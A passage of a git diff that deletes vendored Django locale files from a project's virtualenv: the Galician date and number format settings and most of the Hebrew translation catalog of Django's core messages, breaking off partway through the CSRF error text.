b/backend/venv/Lib/site-packages/django/conf/locale/gl/formats.py deleted file mode 100644 index 73729355..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/gl/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \á\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d-m-Y" -SHORT_DATETIME_FORMAT = "d-m-Y, H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.mo deleted file mode 100644 index 4d739212..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.po deleted file mode 100644 index 330c5137..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/he/LC_MESSAGES/django.po +++ /dev/null @@ -1,1340 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 534b44a19bf18d20b71ecc4eb77c572f_db336e9 , 2011-2012 -# Jannis Leidel , 2011 -# Meir Kriheli , 2011-2015,2017,2019-2020,2023,2025 -# Menachem G., 2021 -# Menachem G., 2021 -# אורי רודברג , 2021 -# Yaron Shahrabani , 2021 -# אורי רודברג , 2020,2022-2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Meir Kriheli , " -"2011-2015,2017,2019-2020,2023,2025\n" -"Language-Team: Hebrew (http://app.transifex.com/django/django/language/he/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: he\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n == 2 && n % " -"1 == 0) ? 1: (n % 10 == 0 && n % 1 == 0 && n > 10) ? 2 : 3;\n" - -msgid "Afrikaans" -msgstr "אפריקאנס" - -msgid "Arabic" -msgstr "ערבית" - -msgid "Algerian Arabic" -msgstr "ערבית אלג'ירית" - -msgid "Asturian" -msgstr "אסטורית" - -msgid "Azerbaijani" -msgstr "אזרית" - -msgid "Bulgarian" -msgstr "בולגרית" - -msgid "Belarusian" -msgstr "בֶּלָרוּסִית" - -msgid "Bengali" -msgstr "בנגאלית" - -msgid "Breton" -msgstr "בְּרֶטוֹנִית" - -msgid "Bosnian" -msgstr "בוסנית" - -msgid "Catalan" -msgstr "קאטלונית" - -msgid "Central Kurdish (Sorani)" -msgstr "כורדית מרכזית (סוראני)" - -msgid "Czech" -msgstr "צ'כית" - -msgid "Welsh" -msgstr "וולשית" - -msgid "Danish" -msgstr "דנית" - -msgid "German" -msgstr "גרמנית" - -msgid "Lower Sorbian" -msgstr "סורבית תחתונה" - -msgid "Greek" -msgstr "יוונית" - -msgid "English" -msgstr "אנגלית" - -msgid "Australian English" -msgstr "אנגלית אוסטרלית" - -msgid "British English" -msgstr "אנגלית בריטית" - -msgid "Esperanto" -msgstr "אספרנטו" - -msgid "Spanish" -msgstr "ספרדית" - -msgid "Argentinian Spanish" -msgstr "ספרדית ארגנטינית" - -msgid "Colombian Spanish" -msgstr "ספרדית קולומביאנית" - -msgid "Mexican Spanish" -msgstr "ספרדית מקסיקנית" - -msgid "Nicaraguan Spanish" -msgstr "ספרדית ניקרגואה" - -msgid "Venezuelan Spanish" -msgstr "ספרדית ונצואלית" - -msgid "Estonian" -msgstr "אסטונית" - -msgid "Basque" -msgstr "בסקית" - -msgid "Persian" -msgstr "פרסית" - -msgid "Finnish" -msgstr "פינית" - -msgid "French" -msgstr "צרפתית" - -msgid "Frisian" -msgstr "פריזית" - -msgid "Irish" -msgstr "אירית" - -msgid "Scottish Gaelic" -msgstr "גאלית סקוטית" - -msgid "Galician" -msgstr "גאליציאנית" - -msgid "Hebrew" -msgstr "עברית" - -msgid "Hindi" -msgstr "הינדי" - -msgid "Croatian" -msgstr "קרואטית" - -msgid "Upper Sorbian" -msgstr "סורבית עילית" - -msgid "Hungarian" -msgstr "הונגרית" - -msgid "Armenian" -msgstr "ארמנית" - -msgid "Interlingua" -msgstr "אינטרלינגואה" - -msgid "Indonesian" -msgstr "אינדונזית" - -msgid "Igbo" -msgstr "איגבו" - -msgid "Ido" -msgstr "אידו" - -msgid "Icelandic" -msgstr "איסלנדית" - -msgid "Italian" -msgstr "איטלקית" - -msgid "Japanese" -msgstr "יפנית" - -msgid "Georgian" -msgstr "גיאורגית" - -msgid "Kabyle" -msgstr "קבילה" - -msgid "Kazakh" -msgstr "קזחית" - -msgid "Khmer" -msgstr "חמר" - -msgid "Kannada" -msgstr "קאנאדה" - -msgid "Korean" -msgstr "קוריאנית" - -msgid "Kyrgyz" -msgstr "קירגיזית" - -msgid "Luxembourgish" -msgstr "לוקסמבורגית" - -msgid "Lithuanian" -msgstr "ליטאית" - -msgid "Latvian" -msgstr "לטבית" - -msgid "Macedonian" -msgstr "מקדונית" - -msgid "Malayalam" -msgstr "מלאיאלאם" - -msgid "Mongolian" -msgstr "מונגולי" - -msgid "Marathi" -msgstr "מראטהי" - -msgid "Malay" -msgstr "מלאית" - -msgid "Burmese" -msgstr "בּוּרְמֶזִית" - -msgid "Norwegian Bokmål" -msgstr "נורבגית ספרותית" - -msgid "Nepali" -msgstr "נפאלית" - -msgid "Dutch" -msgstr "הולנדית" - -msgid "Norwegian Nynorsk" -msgstr "נורבגית חדשה" - -msgid "Ossetic" -msgstr "אוסטית" - -msgid "Punjabi" -msgstr "פנג'אבי" - -msgid "Polish" -msgstr "פולנית" - -msgid "Portuguese" -msgstr "פורטוגזית" - -msgid "Brazilian Portuguese" -msgstr "פורטוגזית ברזילאית" - -msgid "Romanian" -msgstr "רומנית" - -msgid "Russian" -msgstr "רוסית" - -msgid "Slovak" -msgstr "סלובקית" - -msgid "Slovenian" -msgstr "סלובנית" - -msgid "Albanian" -msgstr "אלבנית" - -msgid "Serbian" -msgstr "סרבית" - -msgid "Serbian Latin" -msgstr "סרבית לטינית" - -msgid "Swedish" -msgstr "שוודית" - -msgid "Swahili" -msgstr "סווהילי" - -msgid "Tamil" -msgstr "טמילית" - -msgid "Telugu" -msgstr "טלגו" - -msgid "Tajik" -msgstr "טג'יקית" - -msgid "Thai" -msgstr "תאילנדית" - -msgid "Turkmen" -msgstr "טורקמנית" - -msgid "Turkish" -msgstr "טורקית" - -msgid "Tatar" -msgstr "טטרית" - -msgid "Udmurt" -msgstr "אודמורטית" - -msgid "Uyghur" -msgstr "אויגורית" - -msgid "Ukrainian" -msgstr "אוקראינית" - -msgid "Urdu" -msgstr "אורדו" - -msgid "Uzbek" -msgstr "אוזבקית" - -msgid "Vietnamese" -msgstr "וייטנאמית" - -msgid "Simplified Chinese" -msgstr "סינית פשוטה" - -msgid "Traditional Chinese" -msgstr "סינית מסורתית" - -msgid "Messages" -msgstr "הודעות" - -msgid "Site Maps" -msgstr "מפות אתר" - -msgid "Static Files" -msgstr "קבצים סטטיים" - -msgid "Syndication" -msgstr "הפצת תכנים" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "מספר העמוד אינו מספר שלם" - -msgid "That page number is less than 1" -msgstr "מספר העמוד קטן מ־1" - -msgid "That page contains no results" -msgstr "עמוד זה אינו מכיל תוצאות" - -msgid "Enter a valid value." -msgstr "יש להזין ערך חוקי." - -msgid "Enter a valid domain name." -msgstr "יש להזין שם מתחם חוקי." - -msgid "Enter a valid URL." -msgstr "יש להזין URL חוקי." - -msgid "Enter a valid integer." -msgstr "יש להזין מספר שלם חוקי." - -msgid "Enter a valid email address." -msgstr "נא להזין כתובת דוא\"ל חוקית" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"יש להזין 'slug' חוקי המכיל אותיות לטיניות, ספרות, קווים תחתונים או מקפים." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"יש להזין 'slug' חוקי המכיל אותיות יוניקוד, ספרות, קווים תחתונים או מקפים." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "יש להזין כתובת %(protocol)s חוקית." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 או IPv6" - -msgid "Enter only digits separated by commas." -msgstr "יש להזין רק ספרות מופרדות בפסיקים." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "יש לוודא שערך זה הינו %(limit_value)s (כרגע %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "יש לוודא שערך זה פחות מ או שווה ל־%(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "יש לוודא שערך זה גדול מ או שווה ל־%(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "יש לוודא שערך זה מהווה מכפלה של %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"יש לוודא שערך זה מהווה מכפלה של צעד בגודל %(limit_value)s, החל מ־%(offset)s, " -"לדוגמה: %(offset)s, %(valid_value1)s, %(valid_value2)s וכו'." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"נא לוודא שערך זה מכיל תו %(limit_value)d לכל הפחות (מכיל %(show_value)d)." -msgstr[1] "" -"נא לוודא שערך זה מכיל %(limit_value)d תווים לכל הפחות (מכיל %(show_value)d)." -msgstr[2] "" -"נא לוודא שערך זה מכיל %(limit_value)d תווים לכל הפחות (מכיל %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"נא לוודא שערך זה מכיל תו %(limit_value)d לכל היותר (מכיל %(show_value)d)." -msgstr[1] "" -"נא לוודא שערך זה מכיל %(limit_value)d תווים לכל היותר (מכיל %(show_value)d)." -msgstr[2] "" -"נא לוודא שערך זה מכיל %(limit_value)d תווים לכל היותר (מכיל %(show_value)d)." - -msgid "Enter a number." -msgstr "נא להזין מספר." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "נא לוודא שאין יותר מספרה %(max)s בסה\"כ." -msgstr[1] "נא לוודא שאין יותר מ־%(max)s ספרות בסה\"כ." -msgstr[2] "נא לוודא שאין יותר מ־%(max)s ספרות בסה\"כ." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "נא לוודא שאין יותר מספרה %(max)s אחרי הנקודה." -msgstr[1] "נא לוודא שאין יותר מ־%(max)s ספרות אחרי הנקודה." -msgstr[2] "נא לוודא שאין יותר מ־%(max)s ספרות אחרי הנקודה." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "נא לוודא שאין יותר מספרה %(max)s לפני הנקודה העשרונית" -msgstr[1] "נא לוודא שאין יותר מ־%(max)s ספרות לפני הנקודה העשרונית" -msgstr[2] "נא לוודא שאין יותר מ־%(max)s ספרות לפני הנקודה העשרונית" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"סיומת הקובץ \"%(extension)s\" אסורה. הסיומות המותרות הן: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "תווי NULL אינם מותרים. " - -msgid "and" -msgstr "ו" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s·עם·%(field_labels)s·אלו קיימים כבר." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "המגבלה \"%(name)s\" הופרה." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "ערך %(value)r אינו אפשרות חוקית." - -msgid "This field cannot be null." -msgstr "שדה זה אינו יכול להיות ריק." - -msgid "This field cannot be blank." -msgstr "שדה זה אינו יכול להיות ריק." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s·עם·%(field_label)s·זה קיימת כבר." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s חייב להיות ייחודי עבור %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "שדה מסוג: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "הערך \"%(value)s\" חייב להיות True או False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\" חייב להיות אחד מ־True‏, False, או None." - -msgid "Boolean (Either True or False)" -msgstr "בוליאני (אמת או שקר)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "מחרוזת (עד %(max_length)s תווים)" - -msgid "String (unlimited)" -msgstr "מחרוזת (ללא הגבלה)." - -msgid "Comma-separated integers" -msgstr "מספרים שלמים מופרדים בפסיקים" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"הערך \"%(value)s\" מכיל פורמט תאריך לא חוקי. חייב להיות בפורמט YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "הערך \"%(value)s\" בפורמט הנכון (YYYY-MM-DD), אך אינו תאריך חוקי." - -msgid "Date (without time)" -msgstr "תאריך (ללא שעה)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"הערך \"%(value)s\" מכיל פורמט לא חוקי. הוא חייב להיות בפורמטYYYY-MM-DD HH:" -"MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"הערך \"%(value)s\" בפורמט הנכון (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) אך אינו " -"מהווה תאריך/שעה חוקיים." - -msgid "Date (with time)" -msgstr "תאריך (כולל שעה)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "הערך \"%(value)s\" חייב להיות מספר עשרוני." - -msgid "Decimal number" -msgstr "מספר עשרוני" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"הערך \"%(value)s\" מכיל פורמט לא חוקי. הוא חייב להיות בפורמט [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "משך" - -msgid "Email address" -msgstr "כתובת דוא\"ל" - -msgid "File path" -msgstr "נתיב קובץ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” חייב להיות מספר נקודה צפה." - -msgid "Floating point number" -msgstr "מספר עשרוני" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "הערך '%(value)s' חייב להיות מספר שלם." - -msgid "Integer" -msgstr "מספר שלם" - -msgid "Big (8 byte) integer" -msgstr "מספר שלם גדול (8 בתים)" - -msgid "Small integer" -msgstr "מספר שלם קטן" - -msgid "IPv4 address" -msgstr "כתובת IPv4" - -msgid "IP address" -msgstr "כתובת IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"%(value)s\" חייב להיות אחד מ־None‏, True, או False." - -msgid "Boolean (Either True, False or None)" -msgstr "בוליאני (אמת, שקר או כלום)" - -msgid "Positive big integer" -msgstr "מספר שלם גדול וחיובי" - -msgid "Positive integer" -msgstr "מספר שלם חיובי" - -msgid "Positive small integer" -msgstr "מספר שלם חיובי קטן" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (עד %(max_length)s תווים)" - -msgid "Text" -msgstr "טקסט" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"הערך “%(value)s” מכיל פורמט לא חוקי. הוא חייב להיות בפורמט HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"הערך “%(value)s” בפורמט הנכון (HH:MM[:ss[.uuuuuu]]) אך אינו מהווה שעה חוקית." - -msgid "Time" -msgstr "זמן" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "מידע בינארי גולמי" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" אינו UUID חוקי." - -msgid "Universally unique identifier" -msgstr "מזהה ייחודי אוניברסלי" - -msgid "File" -msgstr "קובץ" - -msgid "Image" -msgstr "תמונה" - -msgid "A JSON object" -msgstr "אובייקט JSON" - -msgid "Value must be valid JSON." -msgstr "הערך חייב להיות JSON חוקי." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (הסוג נקבע לפי השדה המקושר)" - -msgid "One-to-one relationship" -msgstr "יחס של אחד לאחד" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "קשר %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "קשרי %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "יחס של רבים לרבים" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "יש להזין תוכן בשדה זה." - -msgid "Enter a whole number." -msgstr "נא להזין מספר שלם." - -msgid "Enter a valid date." -msgstr "יש להזין תאריך חוקי." - -msgid "Enter a valid time." -msgstr "יש להזין שעה חוקית." - -msgid "Enter a valid date/time." -msgstr "יש להזין תאריך ושעה חוקיים." - -msgid "Enter a valid duration." -msgstr "יש להזין משך חוקי." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "מספר הימים חייב להיות בין {min_days} ל־{max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "לא נשלח שום קובץ. נא לבדוק את סוג הקידוד של הטופס." - -msgid "No file was submitted." -msgstr "לא נשלח שום קובץ" - -msgid "The submitted file is empty." -msgstr "הקובץ שנשלח ריק." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "נא לוודא ששם קובץ זה מכיל תו %(max)d לכל היותר (מכיל %(length)d)." -msgstr[1] "" -"נא לוודא ששם קובץ זה מכיל %(max)d תווים לכל היותר (מכיל %(length)d)." -msgstr[2] "" -"נא לוודא ששם קובץ זה מכיל %(max)d תווים לכל היותר (מכיל %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "נא לשים קובץ או סימן את התיבה לניקוי, לא שניהם." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "נא להעלות תמונה חוקית. הקובץ שהעלת אינו תמונה או מכיל תמונה מקולקלת." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "יש לבחור אפשרות חוקית. %(value)s אינו בין האפשרויות הזמינות." - -msgid "Enter a list of values." -msgstr "יש להזין רשימת ערכים" - -msgid "Enter a complete value." -msgstr "יש להזין ערך שלם." - -msgid "Enter a valid UUID." -msgstr "יש להזין UUID חוקי." - -msgid "Enter a valid JSON." -msgstr "נא להזין JSON חוקי." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(שדה מוסתר %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"המידע של ManagementForm חסר או שובש. שדות חסרים: %(field_names)s. יתכן " -"שתצטרך להגיש דיווח באג אם הבעיה נמשכת." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "נא לשלוח טופס %(num)d לכל היותר." -msgstr[1] "נא לשלוח %(num)d טפסים לכל היותר." -msgstr[2] "נא לשלוח %(num)d טפסים לכל היותר." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "נא לשלוח טופס %(num)dאו יותר." -msgstr[1] "נא לשלוח %(num)d טפסים או יותר." -msgstr[2] "נא לשלוח %(num)d טפסים או יותר." - -msgid "Order" -msgstr "מיון" - -msgid "Delete" -msgstr "מחיקה" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "נא לתקן את הערכים הכפולים ל%(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "נא לתקן את הערכים הכפולים ל%(field)s, שערכים בו חייבים להיות ייחודיים." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"נא לתקן את הערכים הכפולים %(field_name)s, שחייבים להיות ייחודיים ל%(lookup)s " -"של %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "נא לתקן את הערכים הכפולים למטה." - -msgid "The inline value did not match the parent instance." -msgstr "הערך הפנימי אינו תואם לאב." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "יש לבחור אפשרות חוקית; אפשרות זו אינה אחת מהזמינות." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" אינו ערך חוקי." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"לא ניתן לפרש את %(datetime)s באזור הזמן %(current_timezone)s; הוא עשוי להיות " -"דו־משמעי או לא קיים." - -msgid "Clear" -msgstr "לסלק" - -msgid "Currently" -msgstr "עכשיו" - -msgid "Change" -msgstr "שינוי" - -msgid "Unknown" -msgstr "לא ידוע" - -msgid "Yes" -msgstr "כן" - -msgid "No" -msgstr "לא" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "כן,לא,אולי" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "בית %(size)d " -msgstr[1] "%(size)d בתים" -msgstr[2] "%(size)d בתים" - -#, python-format -msgid "%s KB" -msgstr "%s ק\"ב" - -#, python-format -msgid "%s MB" -msgstr "%s מ\"ב" - -#, python-format -msgid "%s GB" -msgstr "%s ג\"ב" - -#, python-format -msgid "%s TB" -msgstr "%s ט\"ב" - -#, python-format -msgid "%s PB" -msgstr "%s פ\"ב" - -msgid "p.m." -msgstr "אחר הצהריים" - -msgid "a.m." -msgstr "בבוקר" - -msgid "PM" -msgstr "אחר הצהריים" - -msgid "AM" -msgstr "בבוקר" - -msgid "midnight" -msgstr "חצות" - -msgid "noon" -msgstr "12 בצהריים" - -msgid "Monday" -msgstr "שני" - -msgid "Tuesday" -msgstr "שלישי" - -msgid "Wednesday" -msgstr "רביעי" - -msgid "Thursday" -msgstr "חמישי" - -msgid "Friday" -msgstr "שישי" - -msgid "Saturday" -msgstr "שבת" - -msgid "Sunday" -msgstr "ראשון" - -msgid "Mon" -msgstr "שני" - -msgid "Tue" -msgstr "שלישי" - -msgid "Wed" -msgstr "רביעי" - -msgid "Thu" -msgstr "חמישי" - -msgid "Fri" -msgstr "שישי" - -msgid "Sat" -msgstr "שבת" - -msgid "Sun" -msgstr "ראשון" - -msgid "January" -msgstr "ינואר" - -msgid "February" -msgstr "פברואר" - -msgid "March" -msgstr "מרץ" - -msgid "April" -msgstr "אפריל" - -msgid "May" -msgstr "מאי" - -msgid "June" -msgstr "יוני" - -msgid "July" -msgstr "יולי" - -msgid "August" -msgstr "אוגוסט" - -msgid "September" -msgstr "ספטמבר" - -msgid "October" -msgstr "אוקטובר" - -msgid "November" -msgstr "נובמבר" - -msgid "December" -msgstr "דצמבר" - -msgid "jan" -msgstr "ינו" - -msgid "feb" -msgstr "פבר" - -msgid "mar" -msgstr "מרץ" - -msgid "apr" -msgstr "אפר" - -msgid "may" -msgstr "מאי" - -msgid "jun" -msgstr "יונ" - -msgid "jul" -msgstr "יול" - -msgid "aug" -msgstr "אוג" - -msgid "sep" -msgstr "ספט" - -msgid "oct" -msgstr "אוק" - -msgid "nov" -msgstr "נוב" - -msgid "dec" -msgstr "דצמ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "יאנ'" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "פבר'" - -msgctxt "abbrev. month" -msgid "March" -msgstr "מרץ" - -msgctxt "abbrev. month" -msgid "April" -msgstr "אפריל" - -msgctxt "abbrev. month" -msgid "May" -msgstr "מאי" - -msgctxt "abbrev. month" -msgid "June" -msgstr "יוני" - -msgctxt "abbrev. month" -msgid "July" -msgstr "יולי" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "אוג'" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ספט'" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "אוק'" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "נוב'" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "דצמ'" - -msgctxt "alt. month" -msgid "January" -msgstr "ינואר" - -msgctxt "alt. month" -msgid "February" -msgstr "פברואר" - -msgctxt "alt. month" -msgid "March" -msgstr "מרץ" - -msgctxt "alt. month" -msgid "April" -msgstr "אפריל" - -msgctxt "alt. month" -msgid "May" -msgstr "מאי" - -msgctxt "alt. month" -msgid "June" -msgstr "יוני" - -msgctxt "alt. month" -msgid "July" -msgstr "יולי" - -msgctxt "alt. month" -msgid "August" -msgstr "אוגוסט" - -msgctxt "alt. month" -msgid "September" -msgstr "ספטמבר" - -msgctxt "alt. month" -msgid "October" -msgstr "אוקטובר" - -msgctxt "alt. month" -msgid "November" -msgstr "נובמבר" - -msgctxt "alt. month" -msgid "December" -msgstr "דצמבר" - -msgid "This is not a valid IPv6 address." -msgstr "זו אינה כתובת IPv6 חוקית." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s‮…" - -msgid "or" -msgstr "או" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "שנה" -msgstr[1] "שנתיים" -msgstr[2] "%(num)d שנים" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "חודש" -msgstr[1] "חודשיים" -msgstr[2] "%(num)d חודשים" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "שבוע" -msgstr[1] "שבועיים" -msgstr[2] "%(num)d שבועות" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "יום" -msgstr[1] "יומיים" -msgstr[2] "%(num)d ימים" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "שעה" -msgstr[1] "שעתיים" -msgstr[2] "%(num)d שעות" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "דקה" -msgstr[1] "%(num)d דקות" -msgstr[2] "%(num)d דקות" - -msgid "Forbidden" -msgstr "אסור" - -msgid "CSRF verification failed. Request aborted." -msgstr "אימות CSRF נכשל. הבקשה בוטלה." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"הודעה זו מופיעה מאחר ואתר ה־HTTPS הזה דורש מהדפדפן שלך לשלוח \"Referer " -"header\", אך הוא לא נשלח. זה נדרש מסיבות אבטחה, כדי להבטיח שהדפדפן שלך לא " -"נחטף ע\"י צד שלישי." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for 